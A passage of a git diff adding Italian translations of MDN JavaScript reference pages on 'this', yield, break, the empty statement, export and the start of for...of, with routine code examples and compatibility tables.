+  console.log(this === e.currentTarget);
+  // true when currentTarget and target are the same object
+  console.log(this === e.target);
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// Get a list of every element in the document
+var elements = document.getElementsByTagName('*');
+
+// Add bluify as a click listener so when the
+// element is clicked on, it turns blue
+for(var i=0 ; i&lt;elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="In_un_handler_di_eventi_in-line">In un handler di eventi "in-line"</h3>
+
+<p>quando il codice è chiamato da un handler in-line, <code>this</code> punta all'elemento DOM sul quale il listener è posizionato:</p>
+
+<p>When code is called from an in–line handler, its <code>this</code> is set to the DOM element on which the listener is placed:</p>
+
+<pre class="brush:js">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+  Show this
+&lt;/button&gt;
+</pre>
+
+<p>Sopra, <code>alert</code> mostra '<code>button</code>'. Notare comunque che this assume tale valore solo al di fuori di una funzione:</p>
+
+<p> </p>
+
+<pre class="brush:js">&lt;button onclick="alert((function(){return this}()));"&gt;
+  Show inner this
+&lt;/button&gt;
+</pre>
+
+<p> </p>
+
+<p>in questo caso, nella funzione interna, <code>this</code> non punta all'elemento DOM quindi restituisce l'oggetto globale/window (cioè l'oggetto di default in modalità non-strict, in cui <code>this</code> non viene impostato dalla chiamata)</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Vedere_Anche">Vedere Anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+ <li><a href="http://bjorn.tipling.com/all-this">All this</a>, un articolo su <code>this</code> in diversi contesti (Inglese)</li>
+ <li><a href="http://rainsoft.io/gentle-explanation-of-this-in-javascript/">Semplice spiegazione della parola chiave 'this' in JavaScript (inglese)</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/yield/index.html b/files/it/web/javascript/reference/operators/yield/index.html
new file mode 100644
index 0000000000..cd7fe6adfa
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/yield/index.html
@@ -0,0 +1,163 @@
+---
+title: yield
+slug: Web/JavaScript/Reference/Operators/yield
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La parola chiave <em>yield </em>è usata per mettere in pausa e far ripartire un generatore di funzione ({{jsxref("Statements/function*", "function*")}} or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">legacy generator function</a>).</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = <strong>yield</strong> [<em>expression</em>];</pre>
+
+<dl>
+ <dt><code>espressione</code></dt>
+ <dd>Definisce il valore da ritornare dalla funzione generatore attraverso <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">the iterator protocol</a>. Se omesso, <code>undefined</code> viene restituito.</dd>
+ <dt><code>rv</code></dt>
+ <dd>Permette che il generatore catturi il valore dell'espressione per usarlo al prossimo avvio dell'esecuzione.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>The <code>yield</code> keyword causes generator function execution to pause and the value of the expression following the <code>yield</code> keyword is returned to the generator's caller. It can be thought of as a generator-based version of the <code>return</code> keyword.</p>
+
+<p>The <code>yield</code> keyword actually returns an <code>IteratorResult</code> object with two properties, <code>value</code> and <code>done</code>. The <code>value</code> property is the result of evaluating the <code>yield</code> expression, and <code>done</code> is a Boolean indicating whether or not the generator function has fully completed.</p>
+
+<p>Once paused on a <code>yield</code> expression, the generator's code execution remains paused until the generator's <code>next()</code> method is called. Each time the generator's <code>next()</code> method is called, the generator resumes execution and runs until it reaches one of the following:</p>
+
+<ul>
+ <li> A <code>yield</code>, which causes the generator to once again pause and return the generator's new value. The next time <code>next()</code> is called, execution resumes with the statement immediately after the <code>yield</code>.</li>
+ <li>{{jsxref("Statements/throw", "throw")}} is used to throw an exception from the generator. This halts execution of the generator entirely, and execution resumes in the caller as is normally the case when an exception is thrown.</li>
+ <li>The end of the generator function is reached; in this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is {{jsxref("undefined")}} and <code>done</code> is <code>true</code>.</li>
+ <li>A {{jsxref("Statements/return", "return")}} statement is reached. In this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is the value specified by the <code>return</code> statement and <code>done</code> is <code>true</code>.</li>
+</ul>
+
+<p>If an optional value is passed to the generator's <code>next()</code> method, that value becomes the value returned by the generator's next <code>yield</code> operation.</p>
+
+<p>Between the generator's code path, its <code>yield</code> operators, and the ability to specify a new starting value by passing it to {{jsxref("Generator.prototype.next()")}}, generators offer enormous power and control.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following code is the declaration of an example generator function, along with a helper function.</p>
+
+<pre class="brush: js">function* foo(){
+  var index = 0;
+  while (index &lt;= 2) // when index reaches 3,
+                     // yield's done will be true
+                     // and its value will be undefined;
+    yield index++;
+}</pre>
+
+<p>Once a generator function is defined, it can be used by constructing an iterator as shown.</p>
+
+<pre class="brush: js">var iterator = foo();
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#', 'Yield')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>39</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li>
+ <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the <code>yield</code> expression has been updated to conform with the latest ES2015 specification ({{bug(981599)}}):
+  <ul>
+   <li>The expression after the <code>yield</code> keyword is optional and omitting it no longer throws a {{jsxref("SyntaxError")}}: <code>function* foo() { yield; }</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/break/index.html b/files/it/web/javascript/reference/statements/break/index.html
new file mode 100644
index 0000000000..8799911ff9
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/break/index.html
@@ -0,0 +1,130 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Statements/break
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Lo <strong>statement break </strong>interrompe il loop corrente, termina uno statement {{jsxref("Statements/switch", "switch")}}, o trasferisce l'esecuzione verso un {{jsxref("Statements/label", "label")}} .</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div>
+
+
+
+<h2 id="Sinstassi">Sinstassi</h2>
+
+<pre class="syntaxbox notranslate"><code>break [<em>label</em>];</code></pre>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>Identificatore che può essere anche associato ad una {{jsxref("Statements/label", "label")}}. Se lo statement non è un loop o uno {{jsxref("Statements/switch", "switch")}}, il label è necessario.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Lo statement <code>break</code> può contenere un parametro opzionale ({{jsxref("Statements/label", "label")}}) che impone al programma di interrompere l'esecuzione e saltare ad un determinato punto nel programma, indicato dalla label stessa. La label può anche essere uno degli statement jsxref("Statements/block", "block")}}; e non dovrà essere preceduto da uno statement loop.<br>
+ Uno statement <code>break</code>, con o senza label opzionale, non può essere usato nel corpo di una funzione innestata in un loop o uno switch, poichè quando verrà eseguito <code>break</code> il programma verrà terminato insieme al loop o allo switch.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="break_in_un_while_loop">break in un while loop</h3>
+
+<p>La seguente funzione contiene uno statement  <code>break</code> che interromperà il {{jsxref("Statements/while", "while")}} loop quando la variabile <code>i</code> avrà valore 3, quindi restituirà il valore di 3 * <code>x</code>.</p>
+
+<pre class="brush:js;highlight:[6]; notranslate">function testBreak(x) {
+  var i = 0;
+
+  while (i &lt; 6) {
+    if (i == 3) {
+      break;
+    }
+    i += 1;
+  }
+
+  return i * x;
+}</pre>
+
+<h3 id="break_in_labeled_blocks">break in labeled blocks</h3>
+
+<p>Il seguente codice usa lo statement <code>break</code> con un blocco definito da una {{jsxref("Statements/label", "label")}}. Lo stetement <code>break</code> deve essere innestato all'interno di qualsiasi label a cui fa riferimento. Nota che <code>inner_block</code> è innestato dentro <code>outer_block</code>.</p>
+
+<pre class="brush:js;highlight:[1,2,4]; notranslate">outer_block: {
+  inner_block: {
+    console.log('1');
+    break outer_block; // esce sia da inner_block che da outer_block
+    console.log(':-('); // non viene eseguito
+  }
+  console.log('2'); // non viene eseguito
+}
+</pre>
+
+<h3 id="break_in_labeled_blocks_che_genera_un_errore">break in labeled blocks che genera un errore</h3>
+
+<p>Il codice seguente usa lo statement <code>break</code> nei labeled block, ma genera un <code>SyntaxError</code> poichè il <code>break</code> è all'interno del <code>block_1</code> ma fa riferimento a <code>block_2</code>. Uno statement <code>break</code> deve sempre essere innestato all'interno dei blocchi a cui si riferiscono i {{jsxref("Statements/label", "label")}}.</p>
+
+<pre class="brush:js;highlight:[1,3,6]; notranslate">block_1: {
+  console.log('1');
+  break block_2; // SyntaxError: label not found
+}
+
+block_2: {
+  console.log('2');
+}
+</pre>
+
+<h3 id="break_allinterno_di_funzioni">break all'interno di funzioni</h3>
+
+<p>Verranno generati <code>SyntaxError</code> anche nei seguenti esempi di codice dove viene usato lo stetement <code>break</code> all'interno di funzioni che sono innestate nei cicli loop, oppure all'interno di funzioni innestate in labeled block, per cui lo stetemen <code>break</code> si intende come stop all'esecuzione e uscita.</p>
+
+<pre class="brush:js;highlight:[1,3,6]; notranslate">function testBreak(x) {
+  var i = 0;
+
+  while (i &lt; 6) {
+    if (i == 3) {
+      (function() {
+        break;
+      })();
+    }
+    i += 1;
+  }
+
+return i * x;
+}
+
+testBreak(1); // SyntaxError: Illegal break statement
+</pre>
+
+<pre class="brush:js;highlight:[1,3,6]; notranslate">block_1: {
+  console.log('1');
+  ( function() {
+    break block_1; // SyntaxError: Undefined label 'block_1'
+  })();
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_Browser">Compatibilità dei Browser</h2>
+
+
+
+<p>{{Compat("javascript.statements.break")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/empty/index.html b/files/it/web/javascript/reference/statements/empty/index.html
new file mode 100644
index 0000000000..bb10fd7165
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/empty/index.html
@@ -0,0 +1,102 @@
+---
+title: empty
+slug: Web/JavaScript/Reference/Statements/Empty
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Un <strong>empty statement</strong> (istruzione vuota) è utilizzato per evitare di inserire uno statement nel caso in cui la sintassi JavaScript ne richieda uno.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div>
+
+<p class="hidden">Il sorgente per questo esempio interattivo è immagazzinato in un repository GitHub. Se vuoi contribuire al progeeto degli esempi interattivi, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">;
+</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>L'empty statement è un punto e virgola (;) che indica che nessuno statement sarà eseguito, nonostante la sintassi JavaScript ne richieda uno. Il comportamento opposto, quando vuoi eseguire più statement ma JavaScript ne consente uno solo, è reso possibile dall'utilizzo di un<a href="/en-US/docs/Web/JavaScript/Reference/Statements/block"> block statement</a>; esso ne combina diversi in un singolo statement .</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>L'empty statement è utilizzato talvolta con i loop statements. Guarda l'esempio seguente con un copro del loop vuoto:</p>
+
+<pre class="brush: js">var arr = [1, 2, 3];
+
+// Assegna il valore 0 a tutti gli elementi dell'array
+for (i = 0; i &lt; arr.length; arr[i++] = 0) /* empty statement */ ;
+
+console.log(arr)
+// [0, 0, 0]
+</pre>
+
+<p><strong>Nota:</strong> E' una buona pratica commentare l'utilizzo intenzionale di empty statement, poichè non è immediatamente ovvia la differenza con un normale punto e virgola. Nell'esempio seguente l'uso è probabilmente non intenzionale:</p>
+
+<pre class="brush: js">if (condition);       // Attenzione, questo "if" non produce nessun effetto!
+   killTheUniverse()  // E quindi questo sarà eseguito sempre!!!
+</pre>
+
+<p>Un altro Esempio: Un <a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a> statement senza parentesi graffe (<code>{}</code>). Se <code>three</code> è <code>true</code>, non accadrà nulla, <code>four</code> non viene valutato, e neanche la funzione <code>launchRocket()</code>nel ramo <code>else</code> sarà eseguita.</p>
+
+<pre class="brush: js">if (one)
+  doOne();
+else if (two)
+  doTwo();
+else if (three)
+  ; // nothing here
+else if (four)
+  doFour();
+else
+  launchRocket();</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-empty-statement', 'Empty statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.3', 'Empty statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+
+
+<p>{{Compat("javascript.statements.empty")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "Block statement")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/export/index.html b/files/it/web/javascript/reference/statements/export/index.html
new file mode 100644
index 0000000000..47d67a6eb2
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/export/index.html
@@ -0,0 +1,259 @@
+---
+title: export
+slug: Web/JavaScript/Reference/Statements/export
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Moduli
+  - export
+translation_of: Web/JavaScript/Reference/Statements/export
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Il comando <strong>export </strong>è utilizzato per esportare funzioni, oggetti o tipi primitivi da un dato file (o modulo) in modo tale da poter essere riutilizzati in altri file con il comando <span class="seoSummary">{{jsxref("Statements/import", "import")}}</span></div>
+
+<div></div>
+
+<div>I moduli sono esportati sempre in {{jsxref("Strict_mode","strict mode", "", 1)}}  nonostante non sia dichiarato. Il comando export non può essere usato in embedded scripts.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<p>Ci sono due tipi di exports:</p>
+
+<ol>
+ <li>Named exports (uno o più exports per modulo)</li>
+ <li>Default exports (uno per modulo)</li>
+</ol>
+
+<pre class="syntaxbox notranslate">// Export di variabili, funzioni e oggetti singolarmente
+export let <var>name1</var>, <var>name2</var>, …, <var>nameN</var>; // also var, const
+export let <var>name1</var> = …, <var>name2</var> = …, …, <var>nameN</var>; // also var, const
+export function functionName(){...}
+export class ClassName {...}
+
+// Export di una lista
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> };
+
+// Rinominare gli exports
+export { <var>variable1</var> as <var>name1</var>, <var>variable2</var> as <var>name2</var>, …, <var>nameN</var> };
+
+// Exporting destructured assignments with renaming
+// Export di assegnazioni destrutturate rinominando l'export
+export const { <var>name1</var>, <var>name2: bar</var> } = o;
+
+// DEfault export
+export default <em>expression</em>;
+export default function (…) { … } // also class, function*
+export default function name1(…) { … } // also class, function*
+export { <var>name1</var> as default, … };
+
+// Aggregazione di moduli
+export * from …; // does not set the default export
+export * as name1 from …; // Draft ECMAScript® 2O21
+export { <var>name1</var>, <var>name2</var>, …, <var>nameN</var> } from …;
+export { <var>import1</var> as <var>name1</var>, <var>import2</var> as <var>name2</var>, …, <var>nameN</var> } from …;
+export { default } from …;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>Nome che deve essere esportato (così da poter essere importato via <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import">import</a></code> in un altro script).</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Ci sono due tipi diversi di export, named and default. Puoi avere più named exports per modulo ma solamente un default export.</p>
+
+<p>Named exports:</p>
+
+<pre class="brush: js notranslate">// Export di variabili, funzioni, oggetti dichiarati precedentemente
+export { myFunction, myVariable };
+
+// export individual features (can export var, let,
+// const, function, class)
+export let myVariable = Math.sqrt(2);
+export function myFunction() { ... };</pre>
+
+<p>Default exports:</p>
+
+<pre class="brush: js notranslate">// Export di funzioni dichiarati precedentemente come default
+export { myFunction as default };
+
+// Export di singole funzioni, oggetti come default
+export default function () { ... }
+export default class { .. }
+
+// ogni export sovrascrive il precedente</pre>
+
+<p>I named exports sono utili per esportare più valori. Durante l'import, è obbligatorio usare lo stesso nome dell'oggetto corrispondente.</p>
+
+<p>I defalt export invece possono essere importati con qualsiasi nome. Ad esempio:</p>
+
+<pre class="brush: js notranslate">// file test.js
+let k; export default k = 12;
+</pre>
+
+<pre class="brush: js notranslate">// some other file
+import m from './test'; //notare che abbiamo la libertà di importare m invece di importate k, perché  k era il default export
+console.log(m);        // stamperà 12
+</pre>
+
+<p>Puoi anche rinominare i named exports per evitare conflitti:</p>
+
+<pre class="brush: js notranslate">export { <var>myFunction</var> as <var>function1</var>,<var>
+         myVariable</var> as variable };</pre>
+
+<h3 id="Ri-esportare_Aggregare">Ri-esportare / Aggregare</h3>
+
+<p>È anche possibile importare ed esportare da più moduli nel modulo padre in modo tale da rendere rendere disponibili gli import da quel modulo. In altre parole è possibile creare un modulo che aggreghi i vari export da vari moduli.</p>
+
+<p>È possibile farlo con la sintassi "export from":</p>
+
+<pre class="brush: js notranslate">export { default as function1,
+         function2 } from 'bar.js';
+</pre>
+
+<p>che è paragonabile ad una combinazione di import e export:</p>
+
+<pre class="brush: js notranslate">import { default as function1,
+         function2 } from 'bar.js';
+export { function1, function2 };</pre>
+
+<p>dove <code>function1</code> e <code>function2</code> non sono disponibili nel modulo corrente.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> I seguenti esempi sono sintatticamente invalidi nonostante siano equivalenti dal punto divista del comando import</p>
+</div>
+
+<pre class="brush: js notranslate">import DefaultExport from 'bar.js'; // Valid</pre>
+
+<pre class="brush: js notranslate">export DefaultExport from 'bar.js'; // Invalid</pre>
+
+<p>Il modo corretto di farlo è di rinominare gli export:</p>
+
+<pre class="brush: js notranslate">export { default as DefaultExport } from 'bar.js';</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_gli_export_espliciti">Usare gli export espliciti</h3>
+
+<p>In un modulo <code>my-module.js</code>, potremmo includere il seguente codice:</p>
+
+<pre class="brush: js notranslate">// modulo "my-module.js"
+function cube(x) {
+  return x * x * x;
+}
+
+const foo = Math.PI + Math.SQRT2;
+
+var graph = {
+  options: {
+      color:'white',
+      thickness:'2px'
+  },
+  draw: function() {
+      console.log('From graph draw function');
+  }
+}
+
+export { cube, foo, graph };</pre>
+
+<p>E nel modulo principale incluso nella pagina HTML potremmo avere</p>
+
+<pre class="brush: js notranslate">import { cube, foo, graph } from './my-module.js';
+
+graph.options = {
+    color:'blue',
+    thickness:'3px'
+};
+
+graph.draw();
+console.log(cube(3)); // 27
+console.log(foo);    // 4.555806215962888</pre>
+
+<p>Notare che:</p>
+
+<ul>
+ <li>È necessario includere questo script nella tua pagina HTML con un elemento {{htmlelement("script")}} di type="module", in modo tale che sia riconosciuta come modulo e gestita in modo appropriato</li>
+ <li>Non è possibile eseguire moduli JS visitando url <code>file://</code> perché riceveresti un errore per violazione delle regole <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/CORS">CORS</a>. È necessario eseguire questi script tramite un server HTTP</li>
+</ul>
+
+<h3 id="Usare_i_default_export">Usare i default export</h3>
+
+<p>Se vogliamo esportare un singolo valore o avere un valore di default per il tuo modulo, allora possiamo usare il default export:</p>
+
+<pre class="brush: js notranslate">// modulo "my-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+</pre>
+
+<p>Quindi, in un altro script, puoi importare il modulo direttamente:</p>
+
+<pre class="brush: js notranslate">import cube from 'my-module';
+console.log(cube(3)); // 27
+</pre>
+
+<h3 id="Usare_export_from">Usare export from</h3>
+
+<p>Facciamo l'esempio dove abbiamo i seguenti moduli:</p>
+
+<ul>
+ <li><code>childModule1.js</code>: exporta <code>myFunction</code> e <code>myVariable</code></li>
+ <li><code>childModule2.js</code>: esporta <code>myClass</code></li>
+ <li><code>parentModule.js</code>: è nient'altro che l'aggregatore</li>
+ <li>top level module: utilizza gli export di <code>parentModule.js</code></li>
+</ul>
+
+<p>Questo è come sarebbe con il codice:</p>
+
+<pre class="brush: js notranslate">// Nel modulo childModule1.js
+let myFunction = ...; // assegna una funzione myFunction
+let myVariable = ...; // assegna un valore alla variabile myVariable
+export {myFunction, myVariable};
+</pre>
+
+<pre class="brush: js notranslate">// Nel modulo childModule2.js
+let myClass = ...; // assegna qualcosa di utile a myClass
+export myClass;
+</pre>
+
+<pre class="brush: js notranslate">// Nel modulo parentModule.js
+// Aggreghiamo solamente gli export dai moduli childModule1 e childModule2
+// per poi riesportarli
+export { myFunction, myVariable } from 'childModule1.js';
+export { myClass } from 'childModule2.js';
+</pre>
+
+<pre class="brush: js notranslate">// Nel modulo principale
+// Possiamo usare gli export importandoli da un singolo modulo
+// che li colleziona/include in un singolo modulo
+import { myFunction, myVariable, myClass } from 'parentModule.js'</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/it/docs/Web/JavaScript/Guide/Modules">JavaScript modules</a> guide</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/for...of/index.html b/files/it/web/javascript/reference/statements/for...of/index.html
new file mode 100644
index 0000000000..ffc6f472c0
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/for...of/index.html
@@ -0,0 +1,264 @@
+---
+title: for...of
+slug: Web/JavaScript/Reference/Statements/for...of
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<p>{{jsSidebar("Statements")}}</p>
+
